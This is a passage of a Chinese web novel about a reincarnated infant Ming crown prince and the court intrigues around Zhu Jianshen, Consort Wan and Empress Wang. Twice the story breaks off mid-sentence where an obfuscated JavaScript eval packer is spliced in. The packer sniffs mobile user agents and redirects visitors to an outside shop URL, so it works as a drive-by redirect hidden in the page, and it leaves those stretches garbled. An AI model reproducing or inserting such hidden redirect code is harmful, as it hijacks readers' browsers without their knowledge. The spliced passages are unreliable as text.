哪怕他不学无术,哪怕他像某人,是个文盲,只要他健康长大,那么皇位就一定属于他的。所以有时候真的不要怪朱佑棱心大,主要他现在还小呢,能指望13月大的婴孩做什么事儿,话都说不明白,军机大事是能掺和的? 快快乐乐的成长吧,等长到10来岁,就差不多能掺和了。反正成化年间,董山伏诛后,女真直到一百多年后,出现努尔哈赤,才完成了部落统一。 至于气候,小冰川时代是元明交替时期降临的,公元15世纪(公元1401年)至17世纪(公元1601年)达到高峰。 现在成化三年,公元1467年,总体气温来讲,的确偏冷。夏天的话,热的时候还是热,但总体来说,没有酷暑难耐的时候。 朱见深没一会儿醒了过来。 他伸着懒腰,转头看到朱佑棱正努力的伸出胖手手,去够几上摆放的果盘。 脚丫子垫着,战战兢兢的努力伸直,那肉肉跟着一颤一颤的,别提有多可爱了。关键身上就穿着红肚兜,努力的时候,小肚子甚至是凸起的。 朱见深看着看着,就觉得手痒。 他轻手轻脚的走过来,伸手一戳,朱佑棱就控制不住往前扑。好悬朱见深戳他的同时,还不忘伸手捞他,不然准摔个好歹。 朱佑棱小嘴一瘪,张口就哇哇哭了起来。 ——怎么有亲爹这么手贱啊! ——害崽对你有什么好处? 朱佑棱搞不懂朱见深的脑回路,但不妨碍他这时候哇哇大哭。 就盼着小亲爹被美人亲娘说一顿。 结果美人亲娘询问赶来,得知缘由后,倒没有说朱见深,而是给了朱见深一记白眼。问题是,万贞儿送的白眼,朱见深直接认定媚眼。 还觉得他的万姐姐就是爱他,总喜欢大庭广众之下表达自己的爱意。 朱佑棱:“......” 实在哭不下去的朱佑棱,只能转而继续去拿应季的水果。 努力再努力,就在小手手终于够到水嫩多汁的蜜桃时,果盘被朱见深拿走了。 被...拿走了! 朱佑棱瞪圆眼睛,不敢置信的望着朱见深,无声的问,你是亲爹? 是亲爹,但不是年纪轻轻就当爹了嘛!逗孩子有趣儿,朱见深就乐不可支,越发想继续逗。 “鹤归,叫声父皇来听听。” 朱见深拿了一颗蜜桃,凑到跟前,诱惑朱佑棱。 朱佑棱眼睛一转,直接张口就咬,刚好咬到了蜜桃。此时的他已经长牙了,四颗牙齿,上下分别两颗。 这一咬,直接将小乳牙卡在了蜜桃上。 朱见深拿着蜜桃的手,左右摇晃起来,而朱佑棱的小脑袋,也跟着左右摇晃。 这样的场景别提有多搞笑了,反正朱见深乐得直接合不拢嘴。 “贞姐,你看看鹤归,哈哈哈,再搞笑了。” 万贞儿:“.......” “深郎,鹤归是孩子,你亲生的孩子。” 万贞儿无奈极了,“鹤归多大了,深郎你多大?” “贞姐不觉得鹤归的反应很有趣?”朱见深乐呵呵的说。“这孩子像朕,护食。” 万贞儿:“...倒是挺护食的。” “是叭,朕记得朕小时候就是这样护食,看到什么都想咬一口。” 朱见深松开手,由着朱佑棱抱着蜜桃,用小乳牙慢悠悠的啃。他坐到了万贞儿的身边,将刚刚泡好的六安瓜片喝了几口润嗓子。 “今儿朕睡得舒坦。”朱见深开口说。“朕半梦半醒间,好像听到什么动静!” “什么动静?” 万贞儿好奇的问。倒不是觉得朱见深听到了她和小红、小翠之间的对话。毕竟寝室距离大殿,还是有一定距离的。 “好似有人在这耳边说话。说朕不该派人灭了董山。” 万贞儿:“???” “怎么会做这样的梦!” 万贞儿愕然,朱佑棱在一旁‘唆’着蜜桃果肉,还不忘狂点头。 “日有所思,夜有所梦,”万贞儿回过神,宽慰朱见深道。“说不得是董山已伏诛的缘故。” 朱见深深以为然的点头,还道。“贞姐说得极是。说不得就是董山已伏诛的事儿,说不得再过一段时日,就能收到辽东说董山伏诛的消息。” 这一刻的朱见深真相帝了,没多久,辽东方面传来消息说董山已伏诛,询问董山家族人该如何处置。 后世皆说,董山乃努尔哈赤的五世祖,爱新觉罗一脉便是董山一脉传下来的。当然也有种说法便是,董山的弟弟才是努尔哈赤的五世祖。 不管董山和他的弟弟,谁才是努尔哈赤的五世祖,如果是朱佑棱当政的话,是倾向于九族消消乐,先将董山的九族宰了,至于一百多年后,还会不会再冒出个努尔哈赤,起兵之时说给先祖报仇...... 反正朱佑棱敢以他小亲爹的贞操保证,绝对不给建州女真这样的机会。 奈何年龄小,没人权。 朱佑棱低头看了看边上放着的蛋羹,深沉的叹了一口气。 这几日,安喜宫的气氛不怎么好,主要是坤宁宫那边传染的。哦,还有柏氏目前所住的景阳宫。 坤宁宫呢,烟气缭绕,据小红打探来的消息,是那回她去传话后,王皇后就病了。至于为什么不是药味弥漫,而是烟气缭绕,那就和王皇后的性格有关系了。 不过今儿,王皇后居然穿着正宫娘娘才能穿着大红朝服登了安喜宫的大门。 朱佑棱握着小勺子,歪着脑袋打量王皇后片刻,然后果断低头,用小勺子开始舀鸡蛋羹吃。 万贞儿倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16654125|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿得很随意,一身淡青色的薄纱,能清晰的透出里面穿的水红色肚兜。未施胭粉,看着精神气儿,可比王皇后太多。 “按理说本宫该早点来看姐姐,只是病了,缠绵病榻几日今儿才稍微好点儿。” 万贞儿吩咐宫娥上茶上点心。 王皇后坐着,神色显得有些局促。 但万贞儿瞄了一眼,就说:“可是为了柏氏生病忧心?放心吧,太医也说了,柏氏在慢慢好转。” 并不认为王皇后的局促,是真的,而是做给她看的。 “好转就好,本宫啊,病榻中也没少为柏妹妹担忧。” 万贞儿端着茶盏的手几不可察地顿了一下。 “皇后今儿来安喜宫,不会是想找本宫闲谈的吧!”万贞儿没有虚以委蛇的意思,直接了当的说。“干脆点,说出你的来意。不然的话,本宫可要生气了。” 此刻,听着万贞儿明现机锋的话语,王皇后心中一阵发苦。 柏氏那女人病了,想着她好欺负,居然攀咬她。 这真是无妄之灾,她哪里会去害一个早已失宠、还进过冷宫差点没命的嫔妃。害她的话,对自己又有什么好处? “本宫只是想和万姐姐你好好聊聊!”王皇后努力维持着中宫的端庄,语气平和地说。“柏氏病中糊涂,言语不当,本宫不会放在心上。不过还是要多谢万姐姐的提醒。” 万贞儿勾唇,说起冠冕堂皇的话语。 “行吧,本宫知晓了。”万贞儿端起茶盏,动作看起来漫不经心。“不过皇后娘娘,也该好好的约束宫人,不得妄议是非。不然再有下次,怕是谁也救不了。” “万姐姐放心,本宫知道该怎么做。” 又说了一会儿话,眼看时间不早,王皇后便告辞离开。 已经早早吃完蛋羹的朱佑棱这时候才感觉到困。他揉了揉眼睛,伸手冲着万贞儿要抱抱。 “这是困了?” 万贞儿伸手抱起朱佑棱,开始轻柔的哄他睡觉。 “娘,父,坏!” 原本昏昏欲睡的朱佑棱不知想起什么,立马清醒开始告状。 “欺负崽。” 万贞儿哭笑不得,忙道。“娘知道了,放心,娘帮崽教训父皇。” 朱佑棱这才打着哈欠,靠着万贞儿就这样三秒入睡。万贞儿继续抱着他,好一会儿,才将朱佑棱放在摇篮里。 而此时的景阳宫,宫内药味浓郁,柏氏脸色苍白地躺在榻上,时不时咳嗽几声,眼神却带着一丝惊惶和怨恨。 她知道自己这病来得古怪,思来想去,最大的嫌疑就是万贵妃! 只有万贵妃才有动机和能力用这种隐秘的手段对付她! 可她不敢明说,只能含糊地指向“有人害我”,希望能引起陛下的注意,或者……让皇后和万贵妃斗起来。 然而,她等来的不是皇帝的垂怜,而是万贵妃“情深意重”的补品,以及王皇后那边的避而不见。 而且没等她高兴,宫里的风声又开始变了,开居然有人议论她是不是得了癔症,或是想借病复宠。 柏氏因此又气又怕,本来就病得很厉害,这下好了,直接又加重了好几分。 25.第025章 “娘娘不要想太多,好好休养。” 伺候的宫娥,其实心里已经不耐烦,但面上依然柔声安慰。 “奴婢说句不好听的,娘娘可不要生气。就娘娘目前的处境,谋害娘娘有什么好处?” 柏氏被反问得一愣,随即涨红脸,勃然大怒。不过愤怒的话语还未出口,就被一阵猛烈的咳嗽打断。 宫娥哪怕心中再嫌弃不耐烦,依然照顾得尽心尽力。当然该规劝的,还是得规劝,不然柏氏作死,岂不是要连累他们这些做宫人的。 好在柏氏还是比较听劝的,哪怕伺候的宫娥说话不好听,也算听了进去。 只是该气还是在气,而且气得十分恼火,等下火的药下肚,连着窜稀三日,差点整个人都无了。 不提柏氏如何自我折腾,久久不见好转。只说安喜宫这边,气氛依然正好。朱见深今日没能提前报道,他处理完政务已经很晚了。收拾妥当的时候,天已经黑了。 朱见深没打算一个人宿在乾清宫,就和怀恩公公准备步行前往安喜宫。只不过这样的决定做了后,没走一会儿,朱见深就后悔了。 “怀...怀恩啊,那...那是鬼吧!”朱见深脚下趔趄,差点跌倒。 怀恩公公小心翼翼的将朱见深护在身后,怒目金刚。 “居然敢在御花园装神弄鬼,大内侍卫何在,还不快将这装神弄鬼,惊扰到万岁爷的家伙,给拖下去。” 是的,是有人装神弄鬼! 天黑的时候,穿一身白衣,虽说是夏天,但白纱更加轻薄,夜风一吹,有种飘飘欲仙的朦胧感。 男人嘛千百种样儿,肯定有喜欢这一款的。 但朱见深不一样啊,他就喜欢他的万姐姐。至于其他,身心是分开的,不能用后世的标准来评价一位帝王。 朱见深就不爱小白花,而且特别讨厌喜欢穿白衣服,看起来柔弱无比的女子。 像现在,大晚上的一身白,还故意穿那种很轻薄,很宽松的白纱质地的衣服,冷不丁的撞见,第一反应肯定认为是鬼。 这真的不怪朱见深的反应大,差点脱口喊护驾了。 这不,小百花被拖走,朱见深还心有余悸的拍拍胸口。 “吓死朕了,朕真的以为,朕大晚上撞鬼了。” 怀恩公公:“...让万岁爷受了惊吓,是奴婢该死。” 朱见深摆摆手,表示自己不在意。 “朕没料到,朕的后宫居然还有如此蛇精病。”朱见深决定快点去安喜宫找万贞儿告状,顺便寻求安慰。 太吓人了! 这样吓他,到底有什么好处? 朱见深加快脚步,几乎用奔跑的速度,朝着安喜宫快速的奔去。那姿态那速度,真的让怀恩公公望尘莫及,怀恩公公加快脚步,都没能追上朱见深。 朱见深一路小跑,飞速的跑到安喜宫。此时安喜宫内很是热闹,万贞儿拿了一本书在看,身上穿的依然是天清色的薄纱衣服,水红色的肚兜包裹浑圆,朦胧的灯光下若隐若现,极具诱惑。 朱佑棱已经睡了,就在旁边的摇篮里,睡得四仰八叉,胖乎乎的小手捏成拳,高高举过头顶。偶尔小嘴还会吧唧两下,同样胖乎乎的小脚丫子,也会偶尔蹬一下。 不过朱见深的注意力,并没有放在朱佑棱的身上。 朱见深气喘吁吁的冲进万贞儿的怀抱,一边扭着,一边嘤嘤嘤的告诉撒娇告状。 而随着朱见深的述说,万贞儿罕然的露出懵逼的神色。 “今年内务府采买了宫娥?”万贞儿开口询问怀恩。 怀恩目不斜视,不去看朱见深没有皇帝包袱的在万贞儿身上左蹭蹭右蹭蹭。 “回禀皇贵妃娘娘,今年内务府想着入秋后正是三年一次,广择天下淑女入宫侍奉圣上的时候,就没有采买宫娥。倒是...” 怀恩迟疑片刻,说起广西平乐府蛮族作乱,广西承宣布政使司出兵征讨,俘虏了一批蛮族妇孺充入掖庭,想必今儿朱见深撞见的便是蛮族女奴。 万贞儿:“......” 下意识的第一个反应便是那位生下朱佑樘的纪氏来了。 有一段时间没有盯着掖庭,那纪氏居然已经入宫了! 万贞儿眼睛危险一眯,无形的杀气瞥向怀恩。 “那吓着万岁爷的家伙,打算怎么处置?”万贞儿语气倒是很温和的问。 “自然是赶出皇宫。”这话是朱见深说的。估计终于蹭够了,朱见深直截了当的说。“这种煞风景的玩意儿,不能出现在朕的后宫。” 万贞儿:“...既然是充入掖庭的罪女,那就老老实实在掖庭待着,居然能大晚上的溜出来,那管理掖庭的管事,也该收拾了。” 朱见深听闻这话,顿时又改变了主意,赶紧附和道。“听到贞姐说的没有,赶紧将那掖庭管事收拾了。朕今儿被吓得差点连魂儿都没了。” 说罢还捂住胸口,表示自己惊魂未定。 万贞儿赶紧像哄儿子一样哄他。 轻声细语,很好的抚慰了朱见深那...饱受惊吓的心灵。 “明儿朕不想上早朝了。”朱见深突然道。“...一想到面对那些老褶子,朕的心就难受。朕感觉父皇眼光好差,选的都是一些什么内阁大臣。” 万贞儿:“...深郎淡定,当官的,不就那样。” “就哪样?”朱见深不服气,还道。“朕也没有要求他们为朕为大明肝脑涂地啊。” “非要把话挑明了说?”万贞儿转而道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16657205|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “辽东战局如何?” “算好。”朱见深皱起眉头,很是不高兴的说。“董山伏诛,鞑靼溃散,朕怀疑他们还会再来侵扰边关。” 万贞儿若有所思的点头。 “既如此,那深郎不妨下旨意,让各边镇严守,远监鞑靼举动。免得鞑靼再次来袭,慌忙迎战,又得损失不少。” “对了,还有弃堡退缩者,”顿了顿,万贞儿又道。“此次鞑靼来袭,无故弃堡退缩者,念在鞑靼溃败之功,只诛首恶,如再有下次,当立斩不赦。” 朱见深因此沉思起来。 扬州平乱、北御鞑靼、辽东诛杀董山,成化三年,日子还是挺波澜壮阔的。朱见深这位皇帝,别看长得白胖,但在宠溺他的万姐姐的同时,处理起军国大事来,倒也有几分铁血手腕,并非全然昏聩。 名声不好听,其实也是基于此。 简单来说,就是朱见深这位皇帝总有自己的主意,并不受百官们的摆布。 而朱佑棱的娘亲万贞儿,她的影响力并不局限于后宫,其实她的影响力,早已渗透到前朝的刀光剑影里。 内阁成员之一万安,就是走的万贞儿的路子,才能为内阁大臣。 这时只听哼唧的声音响起,朱佑棱揉着眼睛醒来。 “娘。”朱佑棱软软糯糯的喊道。“鹤归...要,尿尿。” 闻言万贞儿还没有动,就见小翠过来抱起朱佑棱,往放置恭桶的地方走。朱佑棱也没有闹着要娘,只在解决完放水问题后,歪着脑袋对小翠说。“饿了。” “小厨房还温着鱼糜粥,小殿下稍等片刻,奴婢这就去端来。” “你别去,我去吧。” 小红拦住风风火火的小翠。 “你看着点小殿下,这醒了,一时半会怕是睡不着,得陪着小殿下玩会儿。” “那你快去快回。” 小翠没有和小红‘争抢’,只抱着朱佑棱又进了殿。 此时的朱见深,已经不愿意再谈这些烦心得事儿。看到朱佑棱,就招手,像唤小狗一样,还来了一声‘唑’。 朱佑棱:“......” 这小亲爹年龄轻轻,就有老登儿的趋势了。 我是亲儿砸啊亲儿砸,你唤狗呢! 朱佑棱睨他,都不想说话了。 朱见深见朱佑棱没反应,继续招呼,让朱佑棱过来。 朱佑棱不想理会,干脆让小翠把他放下,然后慢吞吞的转过身子,用光光的后脑勺对准朱见深。 “贞姐,你看看鹤归,小脾气挺大的,都不理他父皇了。” 万贞儿又好气又好笑,白了朱见深一眼忙为儿子说话。“鹤归才多大,深郎你啊,可别将鹤归欺负哭了,不然可别怪我不理你。” 26-30 第26章 第026章 朱见深顿时笑得十分的开心…… 朱见深顿时笑得十分的开心, 几乎直不起腰身来。 “难道孩子不是拿来欺负的?” 朱见深的反问,顿时让万贞儿不知道说啥了。 过了半晌,万贞儿轻轻叹了一口气。算了,反正早就知道她的深郎小孩子性格, 至于宝贝儿子, 算了, 欺负一下长得快。 朱佑棱:“” 朱佑棱转过身来, 两只眼睛水葡萄一样, 水汪汪的瞅着万贞儿, 怀疑自己是不是耳背, 为什么会听到‘小孩子欺负欺负长得快’的神奇发言。 万贞儿顿时笑着张扬无比。“娘的鹤归, 快给你父皇笑一个, 让他也开心开心。” 朱佑棱:“” 郁闷的朱佑棱到底还是给了这个面子,勾唇冲朱见深露出了一个无齿的灿烂笑容,还“咯咯”了两声,表示自己这个做儿子的,愿意委屈自己来哄亲爹。 朱见深果然被逗得开怀大笑, “哎呦, 朕的儿子果然是个宝。”笑了好久,依然止不住,到最后停止, 居然笑得肚子疼。 万贞儿无奈极了,明明是情郎, 偏偏很多时候,感觉自己多了一个儿子。而且这个儿子,感觉还要比亲儿子更宠才行。 “饿了吧!”万贞儿果断转移话题。“让小厨房的人煮一碗银丝面,再来一份蛋羹, 另外煨的燕窝粥也端上来。” “哦,对了,还有野菜馍馍”万贞儿故意用团扇掩嘴偷笑。“这可是你们老朱家的传统,隔三差五要吃一顿野菜馍馍。” 朱见深:“贞姐你学坏了,现在也会调侃朕了。” “哪有。妾身这是实话实话。” 两人只差腻歪在一起的时候,朱佑棱蹭蹭的爬过来,用自己肥嘟嘟的身体,分开这对无时无刻都在秀恩爱的帝妃。 他还在呢! 还是个正儿八经的宝宝呢! 天天当着他面搞这一出,是觉得他看不懂,顺便听不懂人话? 朱佑棱心里不平衡,干脆就搞破坏。只可惜万贞儿和朱见深,并不觉得朱佑棱的行为是在搞破坏,而是觉得朱佑棱被冷落了,需要抱抱安慰。 “鹤归怎么这么可爱啊!” 万贞儿抱起朱佑棱就开始亲,很快,朱佑棱那圆溜溜的脸蛋儿,就印满了红艳艳的唇香膏。 朱佑棱:“” 逗完崽儿,银丝面、蛋羹以及燕窝都端了上来。银丝面是朱见深的,蛋羹是朱佑棱的,至于燕窝,则是万贞儿的。 份量都不是很多,还有几道风味十足的小菜。而那野菜馍馍,做得很小巧,里面还有香油,以及切成小丁的腊肉,哪有当初老朱同志拿着碗打天下时吃到的原汁原味。不过味道极好,朱见深说着不吃,却也吃了两个。 吃过夜宵,朱佑棱就被伺候的宫人抱下去了,将独处的空间留给帝妃二人。朱佑棱也不在意,自顾自的玩耍一会儿,大约晚上九点左右,朱佑棱又睡了。 由于昨儿睡得零碎却次数多,第二天一大早,天刚擦亮朱佑棱就醒了。而留宿安喜宫的朱见深已经走了,还挺勤勉的。就朱佑棱了解的,大明几十年不上朝的皇帝大有人在,像朱见深这种三天一小朝五天一大朝的皇帝不多。而且朱见深的勤勉,是真的做了一些事情,于国于民好处大于坏处。 朱佑棱很佩服小亲爹,如果换做他,大概做不到如此勤勉,但御下,他很刚的,人称铁齿铜牙小钢炮,想让他不好过,那大家都一起不好过。 主打武德充沛,谁不服就干谁。 “昨儿蛙鸣,有些吵闹。”万贞儿打着哈欠起来。“今儿小翠你找人将后殿的小池子清洗一遍。” “好的娘娘。”小翠脆生生的应了,又道。“清洗过后,还是放几尾锦鲤。” 万贞儿:“嗯,还放锦鲤,对了种点莲花。” “好嘞。” 小翠赶紧应下,当下就去找人将后殿的小池子清洗一遍。 说是小池子,真的就是小池子。面积不大,里面蓄了少许水,养了几尾锦鲤。由这水不是活水,得定期清理,不然淤泥堆积,池水也变成了臭水。 不过说来也怪,今年夏季刚至,小池子就出现了青蛙,白天没动静,可是一到夜晚,就开始‘呱呱’叫声,吵得人心烦。 万贞儿自认上了年龄,夜里稍微有点动静,就闹得她睡不着觉。所以每逢夏季,都会让人将小池子清理一遍,然后放水,重新养上几尾锦鲤。 朱佑棱还小,可不敢抱他去后殿的池子旁玩耍,万一看着池子里的锦语游得有趣,想跳下去捞鱼怎么办? 小孩子的念头千奇百怪,再加上朱佑棱现在已经在学习走路了,摇摇摆摆本来就像小鸭子,就算平路,一不小心也会跌倒,自然后殿的小池子,甚至后殿都禁止朱佑棱出入。 索性朱佑棱不是真正的小孩子,他目前最重要的,就是练习走路。他正慢慢的一步步挪动脚步,朝万贞儿走去。 今儿的天气极好,天刚微熏,就吹起了晨风。不是阴天,却是多云天气,偶尔太阳钻出云层,为大地撒下光晖。 朱佑棱跌跌撞撞,靠近万贞儿的时候,一下子扑腾过去,刚好落在万贞儿的怀抱中。 宫人来来往往,进进出出后殿,只不过一会儿的功夫,就将后殿小池子清洗了一遍。之后又是找内务府的总管,让取来自玉泉山的活水放小池子里。 朱佑棱有些好奇,就扯着万贞儿的衣袖,奶声奶气的说自己想要逛。万贞儿巴心巴肝儿的疼爱,一丁点的危险,都不愿意朱佑棱遇到,像这种带着幼崽看热闹的行为,万贞儿是坚决不做的。 只哄着朱佑棱道:“鹤归想去御花园摘花?行啊,娘亲这就带着鹤归去。” 朱佑棱:“御花园晒!” “哟,还知道晒呢!那就在前殿院子这儿待着,后殿乱糟糟的,不适合鹤归待着。” “娘亲,去嘛。” 朱佑棱扭动身体,在万贞儿怀中蹭来蹭去。明明动作不大,却闹得万贞儿香汗淋漓。 “乖!” 万贞儿摁住闹腾的朱佑棱,还是不同意去后殿。 “娘亲带你去找父皇,”万贞儿搂紧朱佑棱,声音透着无奈。“想必这个时候,你父皇已经下朝了。” 朱佑棱顿时不再闹腾,说去后殿瞧瞧的话了。还挺兴奋,被抱着去乾清宫的一路上,小嘴儿一直说个不停。 到乾清宫的时候,朱见深刚刚结束早朝回到养心殿处理政务,正处于烦躁阶段,这个时候宫人轻易不敢靠近。 都在殿门口守着,战战兢兢,就怕朱见深又开始手指苍穹,大骂天老爷。到时候他们该说万岁爷息怒呢,还是老天爷不要怪罪? 万贞儿协子到来,算是拯救了乾清宫伺候的宫人。 “皇贵妃娘娘您可来了。”说话的人是张敏,就是那位历史上违背万贵妃旨意,私下保下朱佑樘的太监。 此时的他,对万贵妃很亲厚,殷勤的领进殿。 万贞儿睨了他一眼,带着孩子直奔朱见深。 “深郎这是为了批阅奏折恼火?” 不怪万贞儿这么说,主要送来的奏折垒了差不多半人高,要一本本的批阅,不知要批阅到什么时候。而这,还是今儿早朝结束后送来的。 “朕说要好好批阅奏折,不想有一本疏漏,结果那群老家伙,将全部奏折都送来。”朱见深气得直跺脚。“什么事情都要朕做了,那朕养他们干嘛?” “当祖宗吃白饭?” 朱佑棱歪着脑袋,奶声奶气的发表自己的看法。 顿时,鸦雀无声。 朱见深和万贞儿你看我我看你,都说不出话来。 半晌,朱见深率先开口。“有见地,不愧是朕的儿子。” 万贞儿赞同的点头,还不忘语带调侃的说。“没想到鹤归耳熏目染,跟着上了几回朝,居然有如此的见地,果真聪慧。” 面对如此发言,不管是朱见深还是万贞儿都没有觉得离谱。就中枢朝廷的格局而已,还真就有不少大臣,是吃白饭的。 就连内阁的几个老登儿,看着一本正经,实则却觉得朱见深这个做皇帝的不听话。总想着将朱见深往‘正途’掰。 可何谓正途呢,难道不如文官们的意,就是歪门邪道? 朱见深本就没有接受过所谓的正统皇帝教育,他所学的,除了万贞儿教导的,更多是利用从小到大的生存之道,总结出来的。 标准野路子,包括他现在处理政务也是一样。 “贞姐”朱见深灵机一动道。“学习,要从娃娃开始培养。鹤归已经会说话了,而且还说得那么好听,是成熟的宝宝了,所以贞姐,朕现在就培养鹤归怎么看奏折如何。” 万贞儿:“” 朱佑棱:“” “不如何。”万贞儿坚定的否决了朱见深的提议,还道。“鹤归才多大?话都不利索,你就开始培养,最起码也要等鹤归三岁开始启蒙后吧。” 朱佑棱在旁狂点小脑袋,也不在意自己这样,会不会被定格为神异。主要小亲爹太不做人了,他才多大,就丧心病狂的准备培养他。 还从怎么看奏折开始 ——笑死,字都不太认识,看个登儿的奏折啊! 朱佑棱拒绝承认习惯了简笔字的自己一朝穿越,即使身份尊贵,也是半文盲的事实。 他现在还小呢,等他长大点,重新学习后怎么可能还是半文盲。 朱佑棱生气的嘟嘴,连白眼都懒得翻,结果反倒是朱见深有点儿‘不依不饶’。 只听朱见深说:“贞姐你忘了鹤归先前说的话了?鹤归说那些个大臣,想当祖宗吃白饭。这是两周岁(虚岁)的孩子能说出的话?贞姐,你为朕生的皇儿,是天才啊。” 万贞儿不为之所动,还道。“再天才也才两周岁。鹤归的周岁宴才过多久,如今不过堪堪会走路,学习什么的,真的太早了。要是深郎为了批阅奏折之事烦心,那就恕妾身过分,又要动手帮深郎批阅奏折了。” 其实朱见深就是在等万贞儿说这句话,万贞儿一说这话,朱见深立马弹跳远离那堆得高高的奏折。 “贞姐快,快快快,快跟着朕一起将这堆奏折解决了,不然朕今儿一天的时间都会耗在这上面。” 说罢,朱见深撇了一眼朱佑棱。 还道:“鹤归是成熟的孩子了,可以自己玩自己。” 朱佑棱:“” 果然父母是真爱的话,那孩子只能是意外。 瞧瞧他这个‘意外’多没有存在感啊!明明他的小光头澄光瓦亮的,怎么就被忽略个彻底呢! 该庆幸小亲爹没有坚持让自己现在就读书识字? 朱佑棱手托腮帮,无限惆怅的叹气。 算啦,大人有大量,不就早有预料,真情对视间,这对帝妃二人组眼中只有自己,看不到别人。 哪怕他是他们真爱的附属产品。 朱佑棱果断转身,一步一摇晃的往殿门口走。刚走到台阶处,正准备蹲下身子慢慢爬下去的时候,前来禀报重要军情的怀恩公公一把捞住他。 “作死啊你们,怎能让太子殿下一个人走。” “想出去,御花园走。” 朱佑棱奶声奶气的说出自己的想法。 朱佑棱算是突然性的变得口齿清晰。就一晚上的时间,头天的时候,朱佑棱说话不清楚,结结巴巴,结果一觉睡醒第二天说话的时候,就很清楚了。 现在朱佑棱对怀恩公公很好的表达了自己的意愿。他不想年龄小小狗粮就吃到饱,干脆就说:“御花园,摘花花。” “好嘞,小殿下稍等片刻,奴婢去跟万岁爷汇报完就带小殿下去。” 小红这时候走了出来,“怀恩公公,太子殿下交给奴婢照顾就成。” “那行。” 怀恩点头,还放心的嘱咐了一句。 “小红姑娘好好照顾小殿下,日头如果晒起来,还得及时带小殿下阴凉处休息。” 小红脆生生的应了,就和小翠换着抱朱佑棱,很快抵达御花园。 御花园的花卉种了很多,梅花树、桃树、玉兰花树都有种植,还有牡丹、月季、玫瑰以及茉莉、丁香、芙蓉等等常见,或不常见的花卉。 靠近凉亭的池子,还种植了荷花。 此时小荷早已露尖尖角,粉色的花苞越出水面,偶尔蜻蜓掠过停靠上面。微风吹拂,朱佑棱的视线落到了盛开的月季花上。 是特意培育的特殊品种,一株月季三种颜色。 朱佑棱伸手朝月季花的方向抓了抓,小翠赶紧拿着随身携带的小银剪刀,剪了一支粉色的月季花,又将花刺去掉,这才小心翼翼的塞到朱佑棱的手中。 “娘娘怕是一时半会儿回不来了。”小红压低声音说道。“咱们在御花园待一会儿,就回安喜宫。得给太子殿下准备辅食。” “今儿内务府送来了香瓜,寒瓜(西瓜)也送了俩,一会儿回去,捣碎撒上枫糖做成水果泥给太子殿下吃。” 朱佑棱在旁狂点小脑袋,表示自己超级喜欢吃水果。另外蛋羹、鱼糜粥,也是他的最爱。总之朱佑棱不挑食,喜欢吃一切好吃的食物。 “回去!” 朱佑棱清楚的表达自己的意思。 “做饭,孤饿!” 于是乎,御花园溜达一圈,朱佑棱就被抱回了安喜宫。内务府送来的水果,除了香瓜寒瓜外,还有黄杏、夏梨。 小翠取了香瓜和寒瓜,捣碎撒上枫糖就准备喂朱佑棱吃。 朱佑棱摇头拒绝,表示要自己吃。 “那行,太子殿下你自己吃,奴婢在旁候着。” 朱佑棱高兴的接过银勺,握着开始舀水果泥吃,由于淋了枫糖的缘故,甜滋滋又带着水果特有的香甜,哪怕已经成了果泥,也是好吃的。 朱佑棱大口大口的吃着,没一会儿的功夫就吃了小半碗。本就人小,自然吃不了多少。就小半碗,朱佑棱就差不多饱了。 朱佑棱便停止不吃,自顾自的玩耍去了。大概晌午的时候,小翠去太医院走了一趟,不知和汪太医聊了什么,回来后别提多高兴了。 “我找他拿了一些驱蚊的艾草,准备将后殿好好的熏熏。”小翠靠近正在打络子的小红,压低声音道。 “还有前殿也别忘了。”小红用牙齿咬断线头,提醒说。 “知道!今年这夏天看着凉爽,蚊子却多了起来。”小翠挺无语的说。“昨儿那蚊子一直在耳边嗡嗡嗡的,别提有多吵人。我啊,生怕睡过去,让蚊子将同屋睡的小殿下咬了,硬是撑到了鸡叫才睡。” “安喜宫哪里来的鸡,还是公鸡!” “你到底听不听我说话。” “听啊,我只是提醒你口误的问题。”小红将打好的络子放进装着针线的簸箕里,顺便还把小银剪刀放进去。 “娘娘果然没法回来用膳,好在御膳不比咱们安喜宫的小厨房差。”小翠压低声音说,“那堆奏折,哪怕有娘娘帮忙,批阅完大概也要晚上。说不得娘娘今晚还得睡在乾清宫。” “宿在乾清宫的话,只怕那些个文大夫又要上疏,说娘娘牝鸡司晨了。” “平日里被说的还少?”小翠不屑的说。“慈安宫的,坤宁宫的,景阳宫的,还有其他宫殿的人,哪个没有背地里说咱们娘娘的坏话。我看啊,他们就是嫉妒,嫉妒娘娘陪伴万岁爷长大的情谊。” “没办法啊,谁让咱们娘娘就是这样优秀。” 这话说得倒是真的,万贞儿本身就惹人嫉恨。不管是她本身,还是和朱见深之间的爱情,都让后宫的人羡慕嫉妒恨。 万贞儿的确心狠手辣,并且真实的她,就是打胎小能手。但这肯定有一个前提,那就是朱佑棱出事。 失去幼崽的母兽有多可怕,相信看过动物世界的都知道。朱佑棱没了,其他女人竟然敢在之后怀孕,还跑到她面前炫耀,依着万贞儿的心性又怎么会允许。炫耀的那人平安生下孩子呢。 至于历史上被藏起来养到六岁,才被朱见深发现的朱佑樘,感觉万贞儿未必不知道,毕竟没多久纪氏就暴毙而亡。但万贞儿假装不知道,大概是因为她真的爱朱见深,不忍他绝后吧。 而现在,朱佑棱活得好好的,还一天比一天健康,万贞儿再心狠手辣,也收敛一二。当然这和朱见深后宫的女人,基本废了有关。 